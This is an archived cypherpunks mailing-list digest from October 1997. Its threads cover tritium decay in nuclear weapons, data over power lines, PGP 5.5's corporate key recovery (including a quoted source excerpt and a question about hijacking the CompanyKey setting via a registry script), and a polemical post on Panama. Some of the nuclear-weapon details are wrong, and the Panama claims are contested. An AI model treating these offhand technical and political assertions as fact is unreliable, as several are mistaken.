From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 8 Oct 1997 22:37:36 +0800
To: cypherpunks@toad.com
Subject: Re: russia_1.html
Message-ID: <199710081351.GAA15050@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Jonathan Wienke <JonWienk@ix.netcom.com>
> At 09:37 AM 10/6/97 -0700, Bill Frantz wrote:
> >At 3:01 AM -0700 10/6/97, Peter Trei wrote:
> >>The plutonium cores of thermonuclear devices have a limited shelf
> >>life - he claimed 6 years, which jibes with what I've heard from
> >>other open sources. Fission products build up in the cores which
> >>can poison a chain reaction. Thus all Pu based devices need to have
> >>the cores periodically removed and replaced with new ones, while the
> >>old ones have to go through a non-trivial reprocessing stage to
> >>remove the fission products.
> >
> >I think this comment is in error.  Plutonium has a half life on the order
> >of 250,000 years, so very little decay products would build up in 6 years.
> >The tritium used in thermonuclear weapons has a much shorter half life, and
> >would need to be replaced about that often.
> 
> One of the decay products of tritium (half-life: 12.5 years) is Helium-3,
> which aggressively absorbs neutrons and poisons the fission reaction of the
> plutonium.  If one has access to more tritium, which is commercially
> available for about US $50,000 per gram, the existing tritium can be
> purified and combined with the new tritium to bring the bomb back to full
> power.  If someone has the resources to obtain the bomb in the first place,
> refreshing the tritium probably wouldn't be a major problem.
> 
> 
> Jonathan Wienke

I conceed that it may not be the Pu decay products that cause the
limited shelf life of thermonuclear weapons; I suspect that it may
be components of the 'pit', which produces the initial burst of 
neutrons to kick of the reaction (the pit is effectively a small
fission bomb). This 'pit' may contain tritium (pit design is a very
well guarded secret, and I've seen very little about it in the open
literature). 

> If someone has the resources to obtain the bomb in the first place,
> refreshing the tritium probably wouldn't be a major problem.

I disagree. A terrorist could obtain a bomb by being given it, 
stealing it, or buying it as a turnkey system. However, I suspect 
that anyone with the facilities to recondition one of these
weapons could also build one from scratch. 

I don't know if it's comforting or worrying knowing that these
devices degrade - any in the hands of terrorists have a limited
time that they are a threat, but that fact may pressure a terrorist
to 'use it or lose it'.

Peter Trei
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Wed, 8 Oct 1997 22:19:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081234.HAA11747@einstein.ssz.com>
Message-ID: <3.0.1.16.19971008100904.56dff586@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:34 AM 10/8/97 -0500, Jim Choate thoughtfully expounded thus:

>
>The trick with X-10 is to stay away from transformers as the signal won't go
>through them effectively. This ends any dreams of sending data to your
>neighbor, the signal won't go through your power meter.

Ahh, the memories this brings back!

I once worked for a large hosiery manufacturing company that markets its
products in a little egg-shaped container, which to protect the stupid,
shall remain unnamed.

Around 1979, they wanted to automate the collection of manufacturing
information on the shop floor using terminals available to the slaves (Err,
I mean piecework workers), and some bright lad had the idea of impressing
the signal on the power supply in the factory.  This was OK until they
found out that they drew three separate 110 volt runs off of their
three-phase main supply, and the signal wouldn't make it from one run to
the other, this dividing the system up into three non-communicating
separate networks.


This was shelved, and the hand-built data collection terminals were
reworked to plug into coax instead.  Unfortunately they then decided on a
ring topology for the network linking all the little hand-built terminals,
combined with a sequential polling system that wouldn't skip a terminal if
it didn't answer!!!  
This lead to one of the more interesting periods in my life, spending six
months every other week in a Southern textile town baby-sitting little grey
boxes.  When one quit working, I had to make a tour of the network loop,
resetting little gray boxes until the network came back up again.  The fact
that workers sewing pantyhose build up incredible static electric charges
didn't help matters any, and lead to cryptic instructions to the workers to
touch the metal terminal stand before entering any information into the
system!!  One can only imagine the Pavlovian effects this had on worker
acceptance of this new, improved data collection system.

Ten years ago, the little grey boxes were gathering dust in a storage room.
 Five years ago, I could not find anyone who recalled working on this
project(!)

Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
"On two occasions I have been asked [by members of Parliament], 
'Pray, Mr. Babbage, if you put into the machine wrong figures, will 
the right answers come out?'  I am not able rightly to apprehend the 
kind of confusion of ideas that could provoke such a question."

FIGHT U.S. GOVT. CRYPTO-FASCISM, EXPORT A CRYPTO SYSTEM!  RSA in PERL:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 8 Oct 1997 23:44:36 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Internet Via Electric Lines? (fwd)
In-Reply-To: <199710081234.HAA11747@einstein.ssz.com>
Message-ID: <199710081521.LAA18348@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710081234.HAA11747@einstein.ssz.com>, on 10/08/97 
   at 07, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Wed, 08 Oct 97 01:28:42 -0500
>> Subject: Re: Internet Via Electric Lines?

>> This is nothing new.

>At least late 70's.

>> I think it was GE that several years ago created phone extensions that you
>> plugged into your power outlets, no need to run wire to put in an extra
>> outlet. I believe that X-10 uses this same principle for computer control
>> of household appliances.
>> 
>> Not to mention data leakage through power lines is an issue long reconized
>> by the TEMPEST crowd.
>> 
>> The trick here seems to be in routing the data. How do you get data on the
>> power grid routed to the location that you want it to go??

>The trick with X-10 is to stay away from transformers as the signal won't
>go through them effectively. This ends any dreams of sending data to your
>neighbor, the signal won't go through your power meter.

This seems to be a Goodthing(TM) for residential X-10 as it would seem to
take care of a lot of security issues by effectively isolating each home
from others who may be running the same system.

Has anyone researched the security issues around X-10? Is the Transformer
isolation good enough protection from a dedicated attack (as opposed to
accidental signal leakage)? Are their alternative routes for transmitting
the FM signal (Airwaves) that the X-10 devices would pick up?? Do any of
the current X-10 devices use signal authentication/verification?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNDumpo9Co1n+aLhhAQGZBAQAo9u4WuKIJ7WfDxaK83X/lwsLpzVDhx+4
lPAlY8ERqBjQwMc8txV+vW9cLl0rHi0Q8YgW+U9vlqlb67re2sjebFqKbQ1c5heZ
WMc+nXNeM5MZ65K/dXKPPGl3RhzMw3syBu37s+KD3v6V2C7XJLudH/AnruYBmXF/
ad0+z1S6q9c=
=oxPQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 8 Oct 1997 20:56:39 +0800
To: Jon Callas <jon@pgp.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <3.0.3.32.19971007142710.00a22970@mail.pgp.com>
Message-ID: <3.0.3.32.19971008144658.00929840@localhost>
MIME-Version: 1.0
Content-Type: text/plain



Jon Callas wrote:
>To sum up, we created the Corporate Mesage Recovery feature to satisfy the
>requirements of our customers who need emergency access to data. We made
>careful decisions to make it useful and effective for honest people, while
>minimizing its potential for abuse. No one has to use it; we do not include
>it with PGP freeware, nor with PGP for Personal Privacy.

What happens when the non corporate versions of PGP encrypts a message to
Alice? Will they disregard the recovery key and encrypt to Bob, or simply
fail?


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <ian.sparkes@t-online.de>
Date: Wed, 8 Oct 1997 23:51:39 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
In-Reply-To: <199710081351.GAA15055@toad.com>
Message-ID: <3.0.2.32.19971008173309.006c5a34@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>> I heard on the ABC hourly news that some genius had figured out a 
way
>> to use electrical power lines for data transmission...

FM
>The FM signal has difficulty going through transformers (there are 
>lots of transformers, with the final step-down usually occuring at 
>a pole-top near your house).

This has been widely used as a (very) local area network - you can 
find a number of Hobby-style projects in electronics magazines dating 
years back.

The transformers, which are designed for 50/60Hz, should look like 
brick walls to any carrier frequency that can cope with a meaningful 
bandwidth. This probably explains why it is local. Additionally, I 
have heard that the power companies tend to get uppity about even the 
local variant - apparently it impacts their supply monitoring.
 

Optical
>[...] Putting a few optical
>fibers into a power line is cheap, easy, and widely done.

But much cheaper and easier is using the signalling gulleys that run 
along the side of the railways - no High Tension precautions, no 
scaling pylons. This, incidently is the reason that a number of 
telecomms consortia (in europe, at least) include a railway element - 
they provide the long-haul backbone.

[...]
>Also, employees have to be trained to splice optical fibers and
>install routing equipment, and millions of miles of power lines and
>hundreds of millions of junctions need to be replaced or reworked.

And that's the 'cheap & easy' mentioned above?



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDuntfzOjjBJiFUeEQLX+wCfZu20gO0gc2SahIGPm0+QRKjIDV0AoIhk
81RJqpql8IIKwZXOapVCZthK
=8Una
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 8 Oct 1997 17:39:08 +0800
To: Peter Trei <trei@process.com>
Subject: Re: [LONG, off-topic]] Interactive Programming
In-Reply-To: <199710071346.GAA11853@toad.com>
Message-ID: <Pine.LNX.3.93.971008183024.411A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 7 Oct 1997, Peter Trei wrote:

> >  Does anyone have
> >  information about self-modifing programs/routines?

Avoid them like the plage.  There a true PIA to do anything with.

> LISP programmers are much more into writing programs which
> build and execute routines on the fly.

As are some perl programmers.  As both a perl programmer and a lisp
programer I have never had the need to use self modifing code.  In fact I
would consider haveing to use s-m code as a sine that I have made a
mistate in my desinge.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNDtGo6QK0ynCmdStAQGy+AP/bHIcXSSW5id/DAQm+IhUlaHTrS0wZxds
KE0Y8dAkwNCoQ+/N5J8aaT4UWfKnR8HHb/7QOggHVTvjVXVF1Q/gIBfDh3TGrwpO
0VztWIEg9K9SjjJFxFgO3ig0bcwtbqEXuE5P4WVeOJhJgNjgm6UgPg38UuZ+EJZ6
G1k7D/IyeRI=
=L5S2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 9 Oct 1997 00:50:39 +0800
To: cypherpunks@toad.com
Subject: Re: russia_1.html
In-Reply-To: <199710081352.GAA17135@mail6.netcom.com>
Message-ID: <v0300780cb06157ccb00a@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:01 AM -0700 10/8/97, Peter Trei wrote:
>I don't know if it's comforting or worrying knowing that these
>devices degrade - any in the hands of terrorists have a limited
>time that they are a threat, but that fact may pressure a terrorist
>to 'use it or lose it'.

What I have heard about these suitcase nukes is that they yield about 1-2
kilotons.  I know of no technical reason for them to be thermonuclear
devices.  As such, the decay of tritium would not seem to affect them.
(They will still need a source of neutrons, which might go bad faster than
the plutonium/U235.)

I feel very little comfort.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 9 Oct 1997 00:13:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <36e200bba528c46e3694521079832b77@anon.efga.org>
Message-ID: <v03102800b06159b61d82@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:04 AM -0700 10/8/97, Ryan Anderson wrote:


>Well, any company giving stock advice (and governed by SEC rules on stock
>tips, etc.) is already require to have all outgoing mail approved (e-mail and
>snail), so does it matter if they record it or not?
>

Could you give me some cites for this rule?

My own stock broker seems to be sending me stuff on the spur of the moment,
so unless he has a government agent sitting in his office approving these
notes he sends me, there is no "outgoing mail approved (e-mail and snail)"
situation.

Further, I dispense stock advice on occasion, and can, like all persons, be
charged with insider trading, violations of SEC rules, etc., under the
right circumstances. And yet my mail, e-mail or USPS, is _not_ subject to
"approval." Being subject to SEC rules does not mean prior approval, or
cc:ing of mail to the SEC, etc.

(They can try to get a warrant if they think I've violated the insider
trading or other securities laws. But no "approval" is needed, nor of
course is any escrow of keys required.)

I won't comment on the very long post Jon Callas so thoughtfully prepared
for us....it's too long for casual comment. My initial glance at it
suggests that it addresses problems most businesses don't perceive to have.

(When I was Intel, we didn't have crypto. But if we did, the real concern
would be encryption of lab notebooks, documents on disk, etc., not my
communications with outsiders. These are the files which would vanish were
I to be hit by a truck.  As we have discussed many times, how does
escrowing the _channel_ key (Alice sending to Bob) solve the "hit by a
truck" problem?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 9 Oct 1997 01:22:09 +0800
To: frantz@netcom.com
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <v03007809b060c1553f4f@[207.94.249.179]>
Message-ID: <199710081011.LAA00865@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> At 2:27 PM -0700 10/7/97, Jon Callas wrote:
> >favorite way of expressing this problem is, "if you lose the keys to your
> >car, then you have to get a new car."
> 
> Now email is a confounding medium because it is both a transient
> communication medium and a storage medium.  We would like to be able to
> have protection against losing access to our stored data, at the same time
> we are sure that those who violate our trust and intercept our
> communications can not read the data, when it is sent or at any time in the
> future.
> 
> PGP 5.5 seems to have a solution to the "lose your data" problem.  It does
> not seem to address the secure deletion problem.

If PGP wants to archive data sent or received, well they can do so, but
sending encrypted communications over open networks encrypted to _two_ long
term public keys is bad security practice.


There are two reasons which are given as to why someone might want to
have GAK installed for company use.

1. to allow access to important material lost in the mail system in the
event that an employee is hit by a bus

2. to allow management to spot check the emails being sent and received


Argument 1 seems pretty flimsy to me.  I reiterate my comment in an earlier
post: who in their right mind keeps their _only_ copy of ultra valuable
company information bouncing around in the email system?  Did those arguing
for this position not notice that sometimes email gets lost in transit?

Regardless, if PGP claims to be catering to those who use this argument, and
to not want to try that hard to make it impossible to by-pass, the more
secure, and less GAK friendly way to do it is to have the mail client
software archive the email sent and received.


Argument 2 I find somewhat distasteful, but seems to me to be logically what
PGP's implementation is catering for.  A less GAK friendly way to implement
it, and a more secure (communications secure, not saying anything about GAK
being easier or harder to by-pass) way would be to archive for a while the
session keys. The security advantage being that the email doesn't go out
with the session key encrypted to 2 long term public key encryption keys.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Thu, 9 Oct 1997 00:35:17 +0800
To: cypherpunks@cyberpass.net
Subject: Jackbooted Posturing in Panama
Message-ID: <199710081625.LAA15575@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Five years after the US military murdered thousands of Panamanian
civilians, and bulldozed their bodies into mass graves prior to
the arrival of the press, the US is again demonstrating its
unmitigated arrogance on the world scene by staging a show trial
of a Panamanian citizen accused of killing a US soldier.
 
Jury selection began Tuesday in the trial of Pedro Miguel
Gonzalez, the son of a prominent Panamanian politician.
 
Gonzalez, who was at a demonstration protesting Bush's impending
visit, denies any connection to the incident in which a US
vehicle was sprayed with gunfire.  He has been in hiding since
the 1992 incident, fearing he could not get a fair trial from the
US-installed Panamanian government.
 
At the time, the US government promptly termed the killing of the
US soldier a "terrorist act", and offered a $100,000 reward for
the identity of the perpetrators.
 
The pretense for the US invasion, and subsequent massacre, as
announced on television by President Bush, was that Panamanian
soldiers had kicked a US soldier who had run a roadblock.  The
hidden agenda was retaining US control over the Panama canal
after it appeared relations between the US and Panama might turn
sour.  In addition to killing thousands of civilians, the US also
kidnapped Panama's President, Manual Noreiga, and convicted him
in the United States of various vague drug-related charges, after
installing a regieme sympathetic to the United States.
 
Gonzalez faces 20 years in prison if convicted.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Thu, 9 Oct 1997 00:04:07 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <ce00d273ef333efbf3f1aa5b88171b76@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



For what its worth; Australian Financial Review 8-10-97
http://www.afr.com.au/content/971008/inform/inform5.html

**********************************
Power play to plug in the Internet

In what could usher in a new era of competition between telephone
companies and electric utilities, engineers have developed a
breakthrough technology that lets homeowners make phone calls and
access the Internet at high speeds via the electric outlets in their
walls.

If the technology from United Utilities plc and Northern Telecom Ltd
proves commercially viable, it could transform power lines around the
world into high-speed conduits on the information superhighway.

Because electric utilities are wired into virtually every home and
business, the new technology could provide easy entry into the phone
and Internet access businesses, thus posing a serious threat to
current providers of those services.

United Utilities, a power company, and Northern Telecom, a Canadian
maker of telecommunications gear, confirmed that their system was
"ready for mass market", but declined to reveal details.  The two
companies have tested phone service over power lines in about a dozen
UK households over the past 12 months -- with positive results,
according to Alistair Henderson, chief of technology at Energis plc,
the telecommunications unit of National Grid Group plc.

AP-Dow Jones

=A9 This material is subject to copyright and any unauthorised use,
copying or mirroring is prohibited.
**********************************

Ooops i didnt know my mailer was loaded orifacer





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 9 Oct 1997 00:13:19 +0800
To: cypherpunks@toad.com
Subject: Re: Internet Via Electric Lines?
Message-ID: <199710081601.JAA15326@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Ian Sparkes <ian.sparkes@t-online.de>

> Peter wrote:
> >[...] Putting a few optical
> >fibers into a power line is cheap, easy, and widely done.
> 
> But much cheaper and easier is using the signalling gulleys that run 
> along the side of the railways - no High Tension precautions, no 
> scaling pylons. This, incidently is the reason that a number of 
> telecomms consortia (in europe, at least) include a railway element - 
> they provide the long-haul backbone.

It looks like we're seeing different parts of the problem. You're 
worried about the long-haul backbone. I'm trying to see ways to
get a 10Gbps fibre into my living room.

The backbone cost is a tiny fraction of the cost of getting fiber
into every house in the country. 
 
> [...]
> >Also, employees have to be trained to splice optical fibers and
> >install routing equipment, and millions of miles of power lines and
> >hundreds of millions of junctions need to be replaced or reworked.
> 
> And that's the 'cheap & easy' mentioned above?

Building a few optical fibers into a cable as it is being 
manufactured is cheap and easy, as is using fiber-equipped
cable if you are installing new lines, or replacing old ones
for other reasons (installation costs are usually far higher 
than the cost of the line itself). It's hooking up all the 
fibers into a meaningful network that gets expensive, 
which was my point.

Peter Trei





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Russell" <jrussell@syncrypt.com>
Date: Thu, 9 Oct 1997 00:54:31 +0800
To: <cypherpunks@cyberpass.net>
Subject: Re: What's really in PGP 5.5?
Message-ID: <01bcd407$02595600$2901320a@Polaris.domain>
MIME-Version: 1.0
Content-Type: text/plain



The swirl of controversy that has arisen since the 2 Oct announcement of the
PGP Business Security Suite has been quite amazing.  Yet, all of the focus
has been on what's been *added* to PGP v5.5.  Jon Callas said it explicitly:

>>Corporate Message Recovery is included *only* in PGP for Business
Security.

What sense, then, can I make of the following?

I have been examining the published source code for PGP v5.0 for Personal
Privacy (note that this is *not* a corporate version), and have discovered
that this recovery scheme already appears to be in place, in some form at
least, in that version.

The following code appears in the published pgp.c, lines 518-537:

   /*
    * This is our version of "Commercial Key Escrow".
    *
    * A company can set the CompanyKey in the site-wide
    * configuration file and it will be added to the
    * recipient list for all encrypted messages.  Then
    * again, the user can override the setting in their
    * own pgp.cfg or on the command line.
    */
   companyKey = pgpenvGetString (env, PGPENV_COMPANYKEY,
            NULL, NULL);
   if (companyKey && *companyKey) {
    /* Add the company key to the recipient list */
    e = ringSetFilterSpec (ui_arg->arg.ringset,
             ringset,
             companyKey,
             PGP_PKUSE_ENCRYPT);
    if (e <= 0)
     exitUsage(e);
   }

This certainly *looks* like the implementation that is being discussed in
the press release, although I did not find it mentioned in any documentation
for PGP for Personal Privacy v5.0. The questions this code brings to my mind
are:

1.  Does this mean that even the Personal Privacy versions of PGP have a
message recovery scheme available?  The 2 Oct press release from PGP states
that the corporate message recovery "transparently integrates with *any*
version of PGP client software".  (Emphasis mine).

2.  If this is implemented via a configuration setting, does it provide an
opportunity for an attacker to reset the "CompanyKey" to their own key?  In
the Windows environment, it appears that PGP uses the System Registry to
hold configuration settings.  Is it possible for me to trick someone into
running a .REG script that will set the CompanyKey to a key to which I hold
the private component?

3.  This appears to me to be quite contradictory to the descriptions posted
by Jon Callas on 7 Oct.  The procedure that Jon describes, using an
attribute in the self-signature, would tell an encryptor external to The
Corporation to use the "skeleton key" on INCOMING mail.  The 5.0 code seems
to imply an automatic extra recipient on OUTGOING mail, and this impression
is reinforced by the description of the SMTP server policy enforcement in
the 2 Oct product description on PGP's web site.  (Let's not forget that
SMTP is a protocol for OUTGOING mail.) Which is it, or is it actually both?

Now, I realize that the long-time PGP users, the computer experts who can
take the source code and recompile the application, could simply remove any
sections they don't like, or go into the configuration settings and change
everything to their liking.  However, isn't encryption supposed to be moving
to a new target audience, the people who use a computer as a tool, and don't
necessarily know the internals? These are the people who need to feel secure
using encryption, and magic, invisible encryption to a third-party is
probably not going to give them warm fuzzy feelings.

Jim Russell <jrussell@syndata.com>
 Senior Engineer
 SynData Technologies, Inc.
 http://www.syndata.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 9 Oct 1997 00:54:37 +0800
To: cypherpunks@cyberpass.net
Subject: Question
Message-ID: <v0311070db0616616cc92@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Wed, 8 Oct 1997 11:24:51 -0400
From: alain@research.bell-labs.com (Alain Mayer)
To: rah@shipwright.com
Subject: Question


Hi Bob,

stypid question: how to I post a message to
the Cypherpunks. I have an announcement on
a new method to fight junk e-mail, which has
been integrated in LPWA (nee Janus).
See below

Best,
  -- Alain



Hi,

we are Bell Labs researchers announcing a method to help you combat
junk e-mail (spam) via a new kind of e-mail address, termed a target-revokable
e-mail address. Every time you give out your e-mail address, e.g., when you
register at a Web-site or post to a Usenet newsgroup, there is a risk that
your address will end up in the hands of an e-mail a marketeer or spammer.
Until now, you had no way to undo giving out your e-mail address.
Target-revokable e-mail addresses effectively let you do that.

Currently, most e-mail users typically have a very small number of e-mail
addresses. For example, one at the office and one for private use with an ISP
at home. In contrast, the principle behind target-revokable e-mail addresses
is that each user has many e-mail addresses. In fact, users can have a
different e-mail address for each group or entity with whom they interact.
Furthermore, target revokable e-mail addresses are defined such that a
recipient of such an address cannot guess other target-revokable addresses
belonging to the same sender and destined for different groups.
Target-revokable e-mail addresses have been integrated with LPWA for easy
use with Web sites and Usenet newsgroups (more application to follow at a
later date).

The Lucent Personalized Web Assistant (LPWA, formerly known as Janus) is a
new tool that provides you with privacy, convenience and security when
browsing the Web. LPWA is having a highly successful test run,
having won PC Magazine "Developer's site of the Week Award".

For more info and instructions on how to use target-revokable e-mail:
http://lpwa.com:8000
====================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Thu, 9 Oct 1997 01:35:18 +0800
To: "Jim Russell" <jrussell@syncrypt.com>
Subject: Re: What's really in PGP 5.5?
In-Reply-To: <01bcd407$02595600$2901320a@Polaris.domain>
Message-ID: <199710081728.NAA19596@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <01bcd407$02595600$2901320a@Polaris.domain>, on 10/08/97 
   at 12, "Jim Russell" <jrussell@syncrypt.com> said:

>The swirl of controversy that has arisen since the 2 Oct announcement of
>the PGP Business Security Suite has been quite amazing.  Yet, all of the
>focus has been on what's been *added* to PGP v5.5.  Jon Callas said it
>explicitly:

>>>Corporate Message Recovery is included *only* in PGP for Business
>Security.

>What sense, then, can I make of the following?

>I have been examining the published source code for PGP v5.0 for Personal
>Privacy (note that this is *not* a corporate version), and have
>discovered that this recovery scheme already appears to be in place, in
>some form at least, in that version.

>The following code appears in the published pgp.c, lines 518-537:

>   /*
>    * This is our version of "Commercial Key Escrow".
>    *
>    * A company can set the CompanyKey in the site-wide
>    * configuration file and it will be added to the
>    * recipient list for all encrypted messages.  Then
>    * again, the user can override the setting in their
>    * own pgp.cfg or on the command line.
>    */
>   companyKey = pgpenvGetString (env, PGPENV_COMPANYKEY,
>            NULL, NULL);
>   if (companyKey && *companyKey) {
>    /* Add the company key to the recipient list */
>    e = ringSetFilterSpec (ui_arg->arg.ringset,
>             ringset,
>             companyKey,
>             PGP_PKUSE_ENCRYPT);
>    if (e <= 0)
>     exitUsage(e);
>   }

>This certainly *looks* like the implementation that is being discussed in
>the press release, although I did not find it mentioned in any
>documentation for PGP for Personal Privacy v5.0. The questions this code
>brings to my mind are:

>1.  Does this mean that even the Personal Privacy versions of PGP have a
>message recovery scheme available?  The 2 Oct press release from PGP
>states that the corporate message recovery "transparently integrates with
>*any* version of PGP client software".  (Emphasis mine).

I beleive that this statement refers to the policy enforcement at the SMTP
server. For such a system to work it would have to bounce a message
(according to the policy settings) that was not encrypted with the
corporate key regardless of which version of PGP was used to encrypt the
message.

>2.  If this is implemented via a configuration setting, does it provide
>an opportunity for an attacker to reset the "CompanyKey" to their own
>key?  In the Windows environment, it appears that PGP uses the System
>Registry to hold configuration settings.  Is it possible for me to trick
>someone into running a .REG script that will set the CompanyKey to a key
>to which I hold the private component?

That would seem possiable but you would also have to override the policy
enforcement at the SMTP server. Without examining the product I can't
comment on what mechinism they have in place.

>3.  This appears to me to be quite contradictory to the descriptions
>posted by Jon Callas on 7 Oct.  The procedure that Jon describes, using
>an attribute in the self-signature, would tell an encryptor external to
>The Corporation to use the "skeleton key" on INCOMING mail.  The 5.0 code
>seems to imply an automatic extra recipient on OUTGOING mail, and this
>impression is reinforced by the description of the SMTP server policy
>enforcement in the 2 Oct product description on PGP's web site.  (Let's
>not forget that SMTP is a protocol for OUTGOING mail.) Which is it, or is
>it actually both?

I think that you have a mix of two things here:

1. Encryption of OUTGOING mail using both the Corporate Key and the
Recipiant Key which can be enforced by SMTP policy agent.

2. A preferance flag in the Public Key to inform the user of a public key
to also use the corporate public key when encrypting. There was
disscussion of making use of preferance flags on the Open PGP list for
things like prefered HASH & Key Use.

>Now, I realize that the long-time PGP users, the computer experts who can
>take the source code and recompile the application, could simply remove
>any sections they don't like, or go into the configuration settings and
>change everything to their liking.  However, isn't encryption supposed to
>be moving to a new target audience, the people who use a computer as a
>tool, and don't necessarily know the internals? These are the people who
>need to feel secure using encryption, and magic, invisible encryption to
>a third-party is probably not going to give them warm fuzzy feelings.

I would imagine that they are working from a common code base for all 3
products (shareware, commercial, and business) and merly disable/enable
the various options at compile time. I personally don't mind the code
being there as it lets me see what they are doing in the various versions
(remember Viacrypt never released their source code). I really don't see
this as a problem as it would be quite obvious if the shareware or
commercial version of PGP were adding extra recipiants to an encrypted
message (current PGP format makes this rather hard to hide).

Their seems to be alot of speculation of what PGP 5.5 does or does not do
without anyone actually examining a copy of the program and finding out.
Perhaps a few of us could obtain copys of the program and investegate it
properly. I am willing to boot into NT (shudder) to take a look.

Just as a side note there doesn't seem to be anything PGP 5.5 is doing
that I couldn't get 2.6.x to do with a weekend of codeing. The hard part,
